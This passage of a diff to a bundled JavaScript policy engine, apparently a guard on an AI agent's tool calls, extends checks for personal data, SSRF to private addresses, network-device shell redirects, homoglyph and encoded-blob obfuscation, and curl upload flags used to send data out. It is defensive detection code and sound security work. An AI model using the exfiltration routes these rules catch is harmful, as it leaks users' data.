- ssrfStrict: config.policy.egress?.ssrfStrict
5798
+ ssrfStrict: config.policy.egress?.ssrfStrict,
5799
+ allowPrivate: config.policy.egress?.enabled ? config.policy.egress.allowPrivate : void 0
5287
5800
  });
5288
5801
  if (dest) {
5289
5802
  return {
5290
- decision: "block",
5803
+ decision: dest.decision,
5291
5804
  blockedByLabel: "\u{1F310} Node9 Egress (Protected Address)",
5292
5805
  reason: dest.reason,
5293
5806
  ruleName: `ssrf:${dest.tier}:${toolName}:${dest.host}`,
@@ -5484,11 +5997,14 @@ async function evaluatePolicyCore(config, toolName, args, context = {}, hooks =
5484
5997
  {
5485
5998
  const ssrf = ssrfFloor(extractShellDestTokens(shellCommand), {
5486
5999
  ssrfAllow: config.policy.egress?.ssrfAllow,
5487
- ssrfStrict: config.policy.egress?.ssrfStrict
6000
+ ssrfStrict: config.policy.egress?.ssrfStrict,
6001
+ // Only an ENABLED egress policy speaks for the operator here: the
6002
+ // shipped default carries allowPrivate without anyone having chosen it.
6003
+ allowPrivate: config.policy.egress?.enabled ? config.policy.egress.allowPrivate : void 0
5488
6004
  });
5489
6005
  if (ssrf) {
5490
6006
  return {
5491
- decision: "block",
6007
+ decision: ssrf.decision,
5492
6008
  blockedByLabel: "\u{1F310} Node9 Egress (Protected Address)",
5493
6009
  reason: ssrf.reason,
5494
6010
  ruleName: `ssrf:${ssrf.tier}:${ssrf.binary}:${ssrf.host}`,
@@ -5767,6 +6283,36 @@ function gitRepoPath(url) {
5767
6283
  function isDestructiveToolName(bareTool) {
5768
6284
  return DESTRUCTIVE_VERB_RE.test(bareTool);
5769
6285
  }
6286
+ function hasNationalId(text) {
6287
+ if (!NATIONAL_ID_GUARD_RE.test(text)) return false;
6288
+ const labelled = NATIONAL_ID_LABEL_RE.test(text);
6289
+ for (const shape of NATIONAL_ID_SHAPES) {
6290
+ if (shape.labelled && !labelled) continue;
6291
+ const flags = shape.regex.flags.includes("g") ? shape.regex.flags : shape.regex.flags + "g";
6292
+ const re = new RegExp(shape.regex.source, flags);
6293
+ let m;
6294
+ while ((m = re.exec(text)) !== null) {
6295
+ if (!shape.validate(m[0])) continue;
6296
+ if (!shape.labelled) return true;
6297
+ const before = text.slice(Math.max(0, m.index - NATIONAL_ID_LABEL_WINDOW), m.index);
6298
+ if (NATIONAL_ID_LABEL_RE.test(before)) return true;
6299
+ }
6300
+ }
6301
+ return false;
6302
+ }
6303
+ function hasRoutingNumber(text) {
6304
+ if (!ROUTING_LABEL_RE.test(text)) return false;
6305
+ const re = new RegExp(PII_ROUTING_RE.source, "g");
6306
+ let m;
6307
+ while ((m = re.exec(text)) !== null) {
6308
+ if (!validateAbaRouting(m[0])) continue;
6309
+ const before = text.slice(Math.max(0, m.index - ROUTING_LABEL_WINDOW), m.index);
6310
+ const end = m.index + m[0].length;
6311
+ const after = text.slice(end, end + ROUTING_LABEL_WINDOW);
6312
+ if (ROUTING_LABEL_RE.test(before) || ROUTING_LABEL_RE.test(after)) return true;
6313
+ }
6314
+ return false;
6315
+ }
5770
6316
  function* validCardRuns(text, base2, exemptFractions = true) {
5771
6317
  const re = new RegExp(base2.source, "g");
5772
6318
  let m;
@@ -5781,14 +6327,14 @@ function* validCardRuns(text, base2, exemptFractions = true) {
5781
6327
  }
5782
6328
  }
5783
6329
  function hasValidCard(text) {
5784
- for (const base2 of [PII_CC16_RE, PII_CC15_RE]) {
6330
+ for (const base2 of CARD_PATTERNS) {
5785
6331
  if (!validCardRuns(text, base2).next().done) return true;
5786
6332
  }
5787
6333
  return false;
5788
6334
  }
5789
6335
  function replaceValidCards(text, replace, { exemptFractions = true } = {}) {
5790
6336
  let out = text;
5791
- for (const base2 of [PII_CC16_RE, PII_CC15_RE]) {
6337
+ for (const base2 of CARD_PATTERNS) {
5792
6338
  let res = "";
5793
6339
  let last = 0;
5794
6340
  for (const run of validCardRuns(out, base2, exemptFractions)) {
@@ -5829,36 +6375,65 @@ function detectPii(text) {
5829
6375
  if (PII_PHONE_RE.test(text)) found.add("Phone");
5830
6376
  if (hasValidCard(text)) found.add("Credit Card");
5831
6377
  if (hasValidIban(text)) found.add("IBAN");
6378
+ if (hasRoutingNumber(text)) found.add("Bank Routing Number");
6379
+ if (hasNationalId(text)) found.add("National ID");
5832
6380
  return [...found];
5833
6381
  }
5834
- function* stringLeaves(v, depth = 0) {
6382
+ function* stringLeaves(v, depth = 0, key) {
5835
6383
  if (depth > 6) return;
5836
6384
  if (typeof v === "string") {
5837
- if (v.length > 0) yield v;
6385
+ if (v.length > 0) yield [v, key];
5838
6386
  return;
5839
6387
  }
5840
6388
  if (typeof v === "number") {
5841
- if (Number.isFinite(v)) yield String(v);
6389
+ if (Number.isFinite(v)) yield [String(v), key];
5842
6390
  return;
5843
6391
  }
5844
6392
  if (!v || typeof v !== "object") return;
5845
6393
  if (Array.isArray(v)) {
5846
- for (const x of v) yield* stringLeaves(x, depth + 1);
6394
+ for (const x of v) yield* stringLeaves(x, depth + 1, key);
5847
6395
  return;
5848
6396
  }
5849
- for (const x of Object.values(v)) yield* stringLeaves(x, depth + 1);
6397
+ for (const [k, x] of Object.entries(v)) yield* stringLeaves(x, depth + 1, k);
6398
+ }
6399
+ function argumentLeavesText(args, limit = MAX_PII_SCAN_BYTES) {
6400
+ const parts = [];
6401
+ let size = 0;
6402
+ for (const [leaf] of stringLeaves(args)) {
6403
+ if (size >= limit) break;
6404
+ parts.push(leaf);
6405
+ size += leaf.length + 1;
6406
+ }
6407
+ return parts.join("\n").slice(0, limit);
6408
+ }
6409
+ function isIbanDestination(leaf, key) {
6410
+ if (!key || !IBAN_DESTINATION_KEYS.has(key.toLowerCase())) return false;
6411
+ const value = leaf.trim();
6412
+ return WHOLE_IBAN_RE.test(value) && validateIban(value);
6413
+ }
6414
+ function jsonUnescapedView(leaf) {
6415
+ if (!/\\[ntr"\\/u]/.test(leaf)) return null;
6416
+ return leaf.replace(
6417
+ JSON_ESCAPE_RE,
6418
+ (m) => m[1] === "u" ? String.fromCharCode(parseInt(m.slice(2), 16)) : JSON_ESCAPES[m[1]]
6419
+ );
5850
6420
  }
5851
6421
  function detectArgsPii(args) {
5852
6422
  if (args === null || args === void 0) return [];
5853
6423
  const found = /* @__PURE__ */ new Set();
5854
6424
  let budget = MAX_PII_SCAN_BYTES;
5855
6425
  try {
5856
- for (const leaf of stringLeaves(args)) {
6426
+ for (const [leaf, key] of stringLeaves(args)) {
5857
6427
  if (budget <= 0) break;
5858
6428
  const t = leaf.length > budget ? leaf.slice(0, budget) : leaf;
5859
6429
  budget -= t.length;
5860
- for (const p of detectPii(t)) {
5861
- if (REALTIME_PII_PATTERNS.includes(p)) found.add(p);
6430
+ const destination = isIbanDestination(t, key);
6431
+ for (const view of [t, jsonUnescapedView(t)]) {
6432
+ if (view === null) continue;
6433
+ for (const p of detectPii(view)) {
6434
+ if (p === "IBAN" && destination) continue;
6435
+ if (REALTIME_PII_PATTERNS.includes(p)) found.add(p);
6436
+ }
5862
6437
  }
5863
6438
  }
5864
6439
  } catch {
@@ -6314,6 +6889,15 @@ function walkCalls(command, out, depth, state) {
6314
6889
  for (const a of node.Args || []) if (a?.Name?.Value) state.env.add(a.Name.Value);
6315
6890
  return true;
6316
6891
  }
6892
+ if (type === "Stmt") {
6893
+ for (const r of node.Redirs || []) {
6894
+ const h = devNetRedirectHost(r?.Word ? resolveWordLiteral(r.Word) : null);
6895
+ if (!h) continue;
6896
+ out.sends = true;
6897
+ out.destinations.push(`host:${h}`);
6898
+ }
6899
+ return true;
6900
+ }
6317
6901
  if (type !== "CallExpr") return true;
6318
6902
  const call = node;
6319
6903
  if ((call.Args || []).length === 0) {
@@ -6483,7 +7067,7 @@ function matchCanaryArgs(args, values) {
6483
7067
  return null;
6484
7068
  }
6485
7069
  }
6486
- var import_picomatch, import_safe_regex2, import_picomatch2, import_mvdan_sh, import_safe_regex22, import_mvdan_sh2, import_safe_regex23, import_crypto2, import_crypto3, import_mvdan_sh3, import_crypto4, import_mvdan_sh4, import_crypto5, aws_default, bash_safe_default, docker_default, filesystem_default, github_default, k8s_default, mongodb_default, postgres_default, project_jail_default, redis_default, BUILTIN_SHIELDS, SSRF_MAX_HOST, METADATA_ADDRESSES, STRICT_TIERS, METADATA_HOSTNAMES, v4Octets, TIER_REASON, CHECK_TEXT, VERDICTS, CHECK_VERDICT_RANK, ALL, BUILTIN_DANGEROUS_WORDS, PRODUCT_CHECKS, SHIELD_RULE_NAME, SHIELD_RULES_FOLDED_INTO_PRODUCT, CHECKS, CHECK_BY_ID, LEGACY_TO_ID, PROJECT_JAIL_BLOCK_READ, OVERRIDE_PREFIX, LABEL_WRAPPERS, LEGACY_READERS, syntax, sharedParser, MESSAGE_FLAGS, SHELL_INTERPRETERS, DOWNLOAD_CMDS, NORMALIZE_CACHE_MAX, normalizeCache, AST_CACHE_MAX, astCache, PARSE_FAIL, defaultExpansionOps, VARIABLE_READERS, FS_READ_TOOLS, GREP_SHAPE, PATTERN_VERBS, PATTERN_VERB_NAMES, GREP_FILE_OPERANDS, READER_VALUE_LETTERS, FILE_OPERAND_FLAGS, SCP_VALUE_FLAGS, TAR_VALUE_LETTERS, ZIP_VALUE_LETTERS, RSYNC_VALUE_LETTERS, RSYNC_SKIP, CP_VALUE_LETTERS, INSTALL_VALUE_LETTERS, COPY_VERBS, TAR_MODE_WORD, COPY_VERB_HEADS, FS_OP_PRESCREEN_RE, HOME_CACHE_ALLOWLIST, SENSITIVE_PATH_RULES, AST_FS_REGEX_RULES, SQL_DB_CLIS, SQL_DDL_RE, CHMOD_OPEN_PERM_TOKENS, COMMAND_WRAPPERS, INLINE_INTERPRETER, RUNNER_WRAPPERS, _redirStdinOps, _listOps, WRAPPER_TAKES_TARGET, FIND_EXEC_FLAGS, FS_MUTATION_TOOLS, INTERP_LEADING_TARGET, NET_BINARIES, VALUE_FLAGS, HOME_VARIABLES, assignmentTable, currentStmtOffset, PAYLOAD_BUDGET, payloadBudget, seenPayloads, UNANALYSABLE_NESTING, ASSIGNMENT_HEADS, AND_OP, OR_OP, AND_OR_OPS, MAX_CALL_DEPTH, MAX_CALL_WALKS, callDepth, callWalks, FS_OP_CACHE_MAX, fsOpCache, stripDotSlash, REDIR_TRUNCATE_OPS, REDIR_FILE_IN_OPS, REDIR_HEREDOC_OPS, FIND_OPTIONS, COPY_RULE_OF, isReaderWord, positionalAfter, NONE, UNKNOWN, MAX_REGEX_LENGTH, REGEX_CACHE_MAX, regexCache, FORBIDDEN_PATH_SEGMENTS, BASH_TOOL_NAMES, MCP_EXECUTORS, BUILTIN_FIELDS, ARGV_FIELDS, BARE_WORD, MAX_ARGV_CHARACTERS, syntax2, MAX_ALTERNATIVES, MAX_CALL_DEPTH2, MAX_CALL_WALKS2, POSITIONAL, MAX_DEPTH, MAX_PAYLOAD_DEPTH, unique, clone, SENDING_STDIN, DOWNLOAD_SHORT_VALUE, DOWNLOAD_LONG_VALUE, DOWNLOAD_OUTPUT_FLAGS, DOWNLOAD_DIR_FLAGS, base, quoteGlob, asWord, WRITES, READS, DUP_OUT, HERE_STRING, AND, OR, DEFAULT_OPS, SYSTEM_AUTH_FILES, SYSTEM_AUTH_DIRS, PASSWORD_HASH_FILES, STARTUP_NAMES, SYSTEM_DIRS, SYSTEM_DIRS_EXEMPT, UPLOAD_SYSTEM_DIRS, AGENT_INSTRUCTION_FILES, AGENT_INSTRUCTION_DIRS, LEGACY_SYSTEM_PATH_RE, exempt, RANK, BIP39_ENGLISH, BIP39_PUBLIC_VECTORS, indices, lengths, hash, MAX_MNEMONIC_HASHES, IBAN_LENGTH, B58, B58_INDEX, XPRV_VERSIONS, B62, CRC32_TABLE, GITHUB_TOKEN_RE, B64URL, B64URL_INDEX, CASK_TWO_ZERO_SUFFIX, CASK_FOUR_ZERO_SUFFIX, INVISIBLE_RE, INVISIBLE_ONE, HOMOGLYPHS, HOMOGLYPH_RE, ASSIGNMENT_CONTEXT_RE, DLP_STOPWORDS, REFERENCE_VALUE_RE, IDENTIFIER_VALUE_RE, PATH_VALUE_RE, DOTTED_REFERENCE_RE, CONCATENATION_RE, EMAIL_VALUE_RE, FIXTURE_NAME_RE, DERIVATIVE_NAME_RE, QUERY_CREDENTIAL_VALUE_RE, OTP_SECRET_RE, OTP_DOC_SECRETS, ASSIGNED_SECRET_VALUE_RE, ASSIGNED_SECRET_NAME_RE, NAME_KEYWORD_RE, ARN_CONTEXT_RE, BASIC_VALUE_RE, BASIC_PAIR_RE, OTP_CAPTURE_RE, DLP_PATTERNS, DLP_PATTERNS_GLOBAL, SENSITIVE_PATH_PATTERNS, SENSITIVE_PATH_REGEXES, MAX_DEPTH2, MAX_STRING_BYTES, MAX_JSON_PARSE_BYTES, BATCH_SEPARATOR, syntax3, NPM_INSTALL_VERBS, NPM_EXEC_VERBS, PNPM_INSTALL_VERBS, YARN_INSTALL_VERBS, BUN_INSTALL_VERBS, DLX_VERBS, NON_REGISTRY_RE, NPM_NAME_RE, EXACT_SEMVER_RE, NPM_VALUE_FLAGS, PNPM_VALUE_FLAGS, YARN_VALUE_FLAGS, BUN_VALUE_FLAGS, PIP_VALUE_FLAGS, UV_VALUE_FLAGS, POETRY_VALUE_FLAGS, PIPENV_VALUE_FLAGS, PIPX_VALUE_FLAGS, PY_SPEC_RE, PY_EXACT_RE, EXACT_VERSION_RE, GEM_NAME_RE, GEM_VALUE_FLAGS, BUNDLE_VALUE_FLAGS, CRATE_NAME_RE, CARGO_ADD_VALUE_FLAGS, CARGO_INSTALL_VALUE_FLAGS, GO_VALUE_FLAGS, GO_PATH_RE, NUGET_NAME_RE, DOTNET_ADD_VALUE_FLAGS, DOTNET_TOOL_VALUE_FLAGS, NUGET_VALUE_FLAGS, MAVEN_COORD_RE, COMPOSER_NAME_RE, COMPOSER_VALUE_FLAGS, EDITOR_HEADS, EXTENSION_ID_RE, MANAGER_HEADS, SHELLS, MAX_NESTING, SHELL_VALUE_FLAGS, TUNING_FIELDS, MAP_GOVERNED, KNOB_GOVERNED, CONFIGURABLE_CHECK_IDS, DEFAULT_EGRESS_ALLOWLIST, PRIVATE_HOST_SUFFIXES, SOURCE_COMMANDS, SINK_COMMANDS, OBFUSCATORS, SENSITIVE_PATTERNS, FLAGS_WITH_VALUES, DESTINATION_ARGS, SECRET_VIEW_LIMITS, ARGUMENT_SCAN_LIMITS, RUN_CHAR, runChar, VERDICT_RANK, SQL_DML_KEYWORDS, MAX_DESTINATIONS, MAX_SCAN_CHARS, EMAIL_RE, URL_RE, IBAN_RE, RECIPIENT_KEYS, DESTRUCTIVE_VERB_RE, PII_EMAIL_RE, PII_SSN_RE, PII_PHONE_RE, PII_CC16_RE, PII_CC15_RE, PII_IBAN_RE, REALTIME_PII_PATTERNS, MAX_PII_SCAN_BYTES, MASKED_KINDS, ENTRY_RE, IBAN_TEXT_RE, EMAIL_TEXT_RE, ACCOUNT_KEY_RE, ACCOUNT_VALUE_RE, MAX_MASK_DEPTH, syntax4, EMPTY, CURL_SEND_FLAGS, WGET_SEND_FLAGS, IWR_SEND_FLAGS, WRITE_METHODS, GH_READ, GH_WRITE, GH_HOSTNAME_FLAGS, GH_REPO_VALUE_FLAGS, GH_API_VALUE_FLAGS, GIT_FETCH, PUBLISH, SHELLS2, OWN_HEADS, MAX_DEPTH3, CWD_CHANGERS, TERMINAL_ESCAPE_RE, LOOP_MAX_RECORDS, CANARY_MIN_LENGTH, MAX_TEXT, MAX_DEPTH4, MAX_JSON_PARSE, URL_DEPTH, B64_DEPTH, MIN_SEGMENT, SEPARATORS, stripSeparators, looksText, CANARY_DECODERS, VIEWS, LONG_OUTPUT_THRESHOLD_BYTES;
7070
+ var import_picomatch, import_safe_regex2, import_picomatch2, import_mvdan_sh, import_safe_regex22, import_mvdan_sh2, import_safe_regex23, import_crypto2, import_crypto3, import_mvdan_sh3, import_crypto4, import_mvdan_sh4, import_crypto5, aws_default, bash_safe_default, docker_default, filesystem_default, github_default, k8s_default, mongodb_default, postgres_default, project_jail_default, redis_default, BUILTIN_SHIELDS, SSRF_MAX_HOST, METADATA_ADDRESSES, STRICT_TIERS, METADATA_HOSTNAMES, v4Octets, TIER_REASON, CHECK_TEXT, VERDICTS, CHECK_VERDICT_RANK, ALL, BUILTIN_DANGEROUS_WORDS, PRODUCT_CHECKS, SHIELD_RULE_NAME, SHIELD_RULES_FOLDED_INTO_PRODUCT, CHECKS, CHECK_BY_ID, LEGACY_TO_ID, PROJECT_JAIL_BLOCK_READ, OVERRIDE_PREFIX, LABEL_WRAPPERS, LEGACY_READERS, INVISIBLE_RE, INVISIBLE_ONE, HOMOGLYPHS, HOMOGLYPH_RE, MAX_BLOBS, MIN_DECODED, BASE64_RUN_RE, HEX_RUN_RE, HEX_ESCAPE_RUN_RE, syntax, sharedParser, MESSAGE_FLAGS, SHELL_INTERPRETERS, DOWNLOAD_CMDS, NORMALIZE_CACHE_MAX, normalizeCache, AST_CACHE_MAX, astCache, PARSE_FAIL, MAX_READING_PAYLOADS, defaultExpansionOps, VARIABLE_READERS, FS_READ_TOOLS, GREP_SHAPE, PATTERN_VERBS, PATTERN_VERB_NAMES, GREP_FILE_OPERANDS, READER_VALUE_LETTERS, FILE_OPERAND_FLAGS, SCP_VALUE_FLAGS, CURL_SOURCE_FLAGS, CURL_VALUE_LETTERS, WGET_VALUE_LETTERS, TAR_VALUE_LETTERS, ZIP_VALUE_LETTERS, RSYNC_VALUE_LETTERS, RSYNC_SKIP, CP_VALUE_LETTERS, INSTALL_VALUE_LETTERS, COPY_VERBS, TAR_MODE_WORD, COPY_VERB_HEADS, FS_OP_PRESCREEN_RE, HOME_CACHE_ALLOWLIST, SENSITIVE_PATH_RULES, AST_FS_REGEX_RULES, SQL_DB_CLIS, SQL_DDL_RE, CHMOD_OPEN_PERM_TOKENS, COMMAND_WRAPPERS, INLINE_INTERPRETER, RUNNER_WRAPPERS, _redirStdinOps, _listOps, WRAPPER_TAKES_TARGET, FIND_EXEC_FLAGS, FS_MUTATION_TOOLS, INTERP_LEADING_TARGET, MAX_PAYLOAD_NESTING, payloadNesting, SCRIPT_RUNNERS, SCRIPT_RUNNER_VALUE_FLAGS, MAX_SCRIPT_OPERANDS, NET_BINARIES, VALUE_FLAGS, HOME_VARIABLES, assignmentTable, currentStmtOffset, PAYLOAD_BUDGET, payloadBudget, seenPayloads, UNANALYSABLE_NESTING, ASSIGNMENT_HEADS, AND_OP, OR_OP, AND_OR_OPS, MAX_CALL_DEPTH, MAX_CALL_WALKS, callDepth, callWalks, FS_OP_CACHE_MAX, fsOpCache, stripDotSlash, REDIR_TRUNCATE_OPS, REDIR_FILE_IN_OPS, REDIR_HEREDOC_OPS, FIND_OPTIONS, COPY_RULE_OF, isReaderWord, positionalAfter, NONE, UNKNOWN, MAX_REGEX_LENGTH, REGEX_CACHE_MAX, regexCache, FORBIDDEN_PATH_SEGMENTS, BASH_TOOL_NAMES, MCP_EXECUTORS, BUILTIN_FIELDS, ARGV_FIELDS, BARE_WORD, MAX_ARGV_CHARACTERS, syntax2, MAX_ALTERNATIVES, MAX_CALL_DEPTH2, MAX_CALL_WALKS2, POSITIONAL, MAX_DEPTH, MAX_PAYLOAD_DEPTH, unique, clone, SENDING_STDIN, DOWNLOAD_SHORT_VALUE, DOWNLOAD_LONG_VALUE, DOWNLOAD_OUTPUT_FLAGS, DOWNLOAD_DIR_FLAGS, base, quoteGlob, asWord, WRITES, READS, DUP_OUT, HERE_STRING, AND, OR, DEFAULT_OPS, SYSTEM_AUTH_FILES, SYSTEM_AUTH_DIRS, PASSWORD_HASH_FILES, STARTUP_NAMES, SYSTEM_DIRS, SYSTEM_DIRS_EXEMPT, UPLOAD_SYSTEM_DIRS, AGENT_INSTRUCTION_FILES, AGENT_INSTRUCTION_DIRS, LEGACY_SYSTEM_PATH_RE, exempt, RANK, BIP39_ENGLISH, BIP39_PUBLIC_VECTORS, indices, lengths, hash, MAX_MNEMONIC_HASHES, SECRET_VIEW_LIMITS, IBAN_LENGTH, IBAN_BBAN_SHAPE, B58, B58_INDEX, XPRV_VERSIONS, B62, CRC32_TABLE, GITHUB_TOKEN_RE, B64URL, B64URL_INDEX, CASK_TWO_ZERO_SUFFIX, CASK_FOUR_ZERO_SUFFIX, CF_ODD, CF_EVEN, SPANISH_LETTERS, HETU_CHARS, MAX, UNTRUSTED_TOOLS, SIGNALS, MENTION_QUOTE_RE, MENTION_WORD_RE, ASSIGNMENT_CONTEXT_RE, DLP_STOPWORDS, REFERENCE_VALUE_RE, IDENTIFIER_VALUE_RE, PATH_VALUE_RE, DOTTED_REFERENCE_RE, CONCATENATION_RE, EMAIL_VALUE_RE, FIXTURE_NAME_RE, DERIVATIVE_NAME_RE, QUERY_CREDENTIAL_VALUE_RE, OTP_SECRET_RE, OTP_DOC_SECRETS, ASSIGNED_SECRET_VALUE_RE, ASSIGNED_SECRET_NAME_RE, NAME_KEYWORD_RE, ARN_CONTEXT_RE, CIPHER_KEY_NAME_RE, CIPHER_NAME_PARTS, CIPHER_KEY_VALUE_RE, LARAVEL_KEY_VALUE_RE, SQL_PASSWORD_VALUE_RE, GRAFANA_KEY_VALUE_RE, BASIC_VALUE_RE, BASIC_PAIR_RE, OTP_CAPTURE_RE, DB_URL_PASSWORD_RE, DLP_PATTERNS, DLP_PATTERNS_GLOBAL, SENSITIVE_PATH_PATTERNS, SENSITIVE_PATH_REGEXES, MAX_DEPTH2, MAX_STRING_BYTES, MAX_JSON_PARSE_BYTES, BATCH_SEPARATOR, syntax3, NPM_INSTALL_VERBS, NPM_EXEC_VERBS, PNPM_INSTALL_VERBS, YARN_INSTALL_VERBS, BUN_INSTALL_VERBS, DLX_VERBS, NON_REGISTRY_RE, NPM_NAME_RE, EXACT_SEMVER_RE, NPM_VALUE_FLAGS, PNPM_VALUE_FLAGS, YARN_VALUE_FLAGS, BUN_VALUE_FLAGS, PIP_VALUE_FLAGS, UV_VALUE_FLAGS, POETRY_VALUE_FLAGS, PIPENV_VALUE_FLAGS, PIPX_VALUE_FLAGS, PY_SPEC_RE, PY_EXACT_RE, EXACT_VERSION_RE, GEM_NAME_RE, GEM_VALUE_FLAGS, BUNDLE_VALUE_FLAGS, CRATE_NAME_RE, CARGO_ADD_VALUE_FLAGS, CARGO_INSTALL_VALUE_FLAGS, GO_VALUE_FLAGS, GO_PATH_RE, NUGET_NAME_RE, DOTNET_ADD_VALUE_FLAGS, DOTNET_TOOL_VALUE_FLAGS, NUGET_VALUE_FLAGS, MAVEN_COORD_RE, COMPOSER_NAME_RE, COMPOSER_VALUE_FLAGS, EDITOR_HEADS, EXTENSION_ID_RE, MANAGER_HEADS, SHELLS, MAX_NESTING, SHELL_VALUE_FLAGS, TUNING_FIELDS, MAP_GOVERNED, KNOB_GOVERNED, CONFIGURABLE_CHECK_IDS, DEFAULT_EGRESS_ALLOWLIST, PRIVATE_HOST_SUFFIXES, SOURCE_COMMANDS, SINK_COMMANDS, OBFUSCATORS, SENSITIVE_PATTERNS, FLAGS_WITH_VALUES, DESTINATION_ARGS, MCP_DESTINATION_KEYS, ARGUMENT_SCAN_LIMITS, RUN_CHAR, runChar, VERDICT_RANK, SQL_DML_KEYWORDS, MAX_DESTINATIONS, MAX_SCAN_CHARS, EMAIL_RE, URL_RE, IBAN_RE, RECIPIENT_KEYS, DESTRUCTIVE_VERB_RE, PII_EMAIL_RE, PII_SSN_RE, PII_PHONE_RE, PII_CC16_RE, PII_CC15_RE, PII_CC14_RE, PII_CC13_RE, PII_CC19_RE, CARD_PATTERNS, PII_ROUTING_RE, ROUTING_LABEL_RE, ROUTING_LABEL_WINDOW, NATIONAL_ID_SHAPES, NATIONAL_ID_LABEL_RE, NATIONAL_ID_LABEL_WINDOW, NATIONAL_ID_GUARD_RE, PII_IBAN_RE, REALTIME_PII_PATTERNS, MAX_PII_SCAN_BYTES, IBAN_DESTINATION_KEYS, WHOLE_IBAN_RE, JSON_ESCAPE_RE, JSON_ESCAPES, MASKED_KINDS, ENTRY_RE, IBAN_TEXT_RE, EMAIL_TEXT_RE, ACCOUNT_KEY_RE, ACCOUNT_VALUE_RE, MAX_MASK_DEPTH, syntax4, EMPTY, CURL_SEND_FLAGS, WGET_SEND_FLAGS, IWR_SEND_FLAGS, WRITE_METHODS, GH_READ, GH_WRITE, GH_HOSTNAME_FLAGS, GH_REPO_VALUE_FLAGS, GH_API_VALUE_FLAGS, GIT_FETCH, PUBLISH, SHELLS2, OWN_HEADS, MAX_DEPTH3, CWD_CHANGERS, TERMINAL_ESCAPE_RE, LOOP_MAX_RECORDS, CANARY_MIN_LENGTH, MAX_TEXT, MAX_DEPTH4, MAX_JSON_PARSE, URL_DEPTH, B64_DEPTH, MIN_SEGMENT, SEPARATORS, stripSeparators, looksText, CANARY_DECODERS, VIEWS, LONG_OUTPUT_THRESHOLD_BYTES;
6487
7071
  var init_dist = __esm({
6488
7072
  "packages/policy-engine/dist/index.mjs"() {
6489
7073
  "use strict";
@@ -7961,6 +8545,80 @@ var init_dist = __esm({
7961
8545
  return s.untrustedContent.afterExposure === "log-only" ? "log" : "review";
7962
8546
  }
7963
8547
  };
8548
+ INVISIBLE_RE = /[­͏؜᠎​-‏‪-‮⁠-⁤-︀-️]|[\u{E0000}-\u{E007F}]/gu;
8549
+ INVISIBLE_ONE = new RegExp(`^(?:${INVISIBLE_RE.source.split("|")[0]})$`, "u");
8550
+ HOMOGLYPHS = {
8551
+ // Cyrillic lowercase
8552
+ \u0430: "a",
8553
+ \u0435: "e",
8554
+ \u043E: "o",
8555
+ \u0440: "p",
8556
+ \u0441: "c",
8557
+ \u0443: "y",
8558
+ \u0445: "x",
8559
+ \u0456: "i",
8560
+ \u0458: "j",
8561
+ \u0455: "s",
8562
+ "\u0501": "d",
8563
+ "\u051B": "q",
8564
+ "\u051D": "w",
8565
+ \u04BB: "h",
8566
+ \u0261: "g",
8567
+ \u0451: "e",
8568
+ "\u04CF": "l",
8569
+ "\u217C": "l",
8570
+ // Cyrillic uppercase
8571
+ \u0410: "A",
8572
+ \u0412: "B",
8573
+ \u0415: "E",
8574
+ \u041A: "K",
8575
+ \u041C: "M",
8576
+ \u041D: "H",
8577
+ \u041E: "O",
8578
+ \u0420: "P",
8579
+ \u0421: "C",
8580
+ \u0422: "T",
8581
+ \u0425: "X",
8582
+ \u0405: "S",
8583
+ \u0406: "I",
8584
+ \u0408: "J",
8585
+ \u04AE: "Y",
8586
+ "\u051A": "Q",
8587
+ "\u051C": "W",
8588
+ // Greek lowercase
8589
+ \u03B1: "a",
8590
+ \u03BF: "o",
8591
+ \u03BD: "v",
8592
+ \u03B5: "e",
8593
+ \u03B9: "i",
8594
+ \u03BA: "k",
8595
+ \u03C1: "p",
8596
+ \u03C4: "t",
8597
+ \u03C5: "u",
8598
+ \u03C7: "x",
8599
+ \u03B3: "y",
8600
+ // Greek uppercase
8601
+ \u0391: "A",
8602
+ \u0392: "B",
8603
+ \u0395: "E",
8604
+ \u0396: "Z",
8605
+ \u0397: "H",
8606
+ \u0399: "I",
8607
+ \u039A: "K",
8608
+ \u039C: "M",
8609
+ \u039D: "N",
8610
+ \u039F: "O",
8611
+ \u03A1: "P",
8612
+ \u03A4: "T",
8613
+ \u03A5: "Y",
8614
+ \u03A7: "X"
8615
+ };
8616
+ HOMOGLYPH_RE = new RegExp(`[${Object.keys(HOMOGLYPHS).join("")}]`, "g");
8617
+ MAX_BLOBS = 32;
8618
+ MIN_DECODED = 16;
8619
+ BASE64_RUN_RE = /[A-Za-z0-9+/]{32,}={0,2}|[A-Za-z0-9_-]{32,}/g;
8620
+ HEX_RUN_RE = /\b(?:[0-9a-fA-F]{2}){24,}\b/g;
8621
+ HEX_ESCAPE_RUN_RE = /(?:\\x[0-9a-fA-F]{2}){16,}/g;
7964
8622
  ({ syntax } = import_mvdan_sh.default);
7965
8623
  sharedParser = syntax.NewParser();
7966
8624
  MESSAGE_FLAGS = /* @__PURE__ */ new Set([
@@ -7998,6 +8656,7 @@ var init_dist = __esm({
7998
8656
  AST_CACHE_MAX = 5e3;
7999
8657
  astCache = /* @__PURE__ */ new Map();
8000
8658
  PARSE_FAIL = /* @__PURE__ */ Symbol("parse-fail");
8659
+ MAX_READING_PAYLOADS = 8;
8001
8660
  defaultExpansionOps = null;
8002
8661
  VARIABLE_READERS = /* @__PURE__ */ new Set([
8003
8662
  "read",
@@ -8404,6 +9063,20 @@ var init_dist = __esm({
8404
9063
  sort: /* @__PURE__ */ new Set(["--files0-from"])
8405
9064
  };
8406
9065
  SCP_VALUE_FLAGS = ["i", "F", "o", "c", "S", "P", "J", "D", "W", "l"];
9066
+ CURL_SOURCE_FLAGS = [
9067
+ "T",
9068
+ "--upload-file",
9069
+ "d",
9070
+ "--data",
9071
+ "--data-binary",
9072
+ "--data-ascii",
9073
+ "--data-urlencode",
9074
+ "--json",
9075
+ "F",
9076
+ "--form"
9077
+ ];
9078
+ CURL_VALUE_LETTERS = "dFTHouXAebcKEmwxUrQtCPDyYz".split("");
9079
+ WGET_VALUE_LETTERS = "OoaiBtTwQPeUARDIl".split("");
8407
9080
  TAR_VALUE_LETTERS = ["b", "C", "f", "F", "g", "H", "I", "K", "L", "N", "T", "V", "X"];
8408
9081
  ZIP_VALUE_LETTERS = ["b", "n", "P", "t", "s", "O", "x", "i"];
8409
9082
  RSYNC_VALUE_LETTERS = ["e", "f", "T", "B", "M"];
@@ -8460,7 +9133,25 @@ var init_dist = __esm({
8460
9133
  "aws s3 mv": { source: "allButLast" },
8461
9134
  "aws s3 sync": { source: "allButLast" },
8462
9135
  "gcloud storage cp": { source: "allButLast" },
8463
- "az storage blob upload": { source: "flagOperand", sourceFlags: ["f", "--file"] }
9136
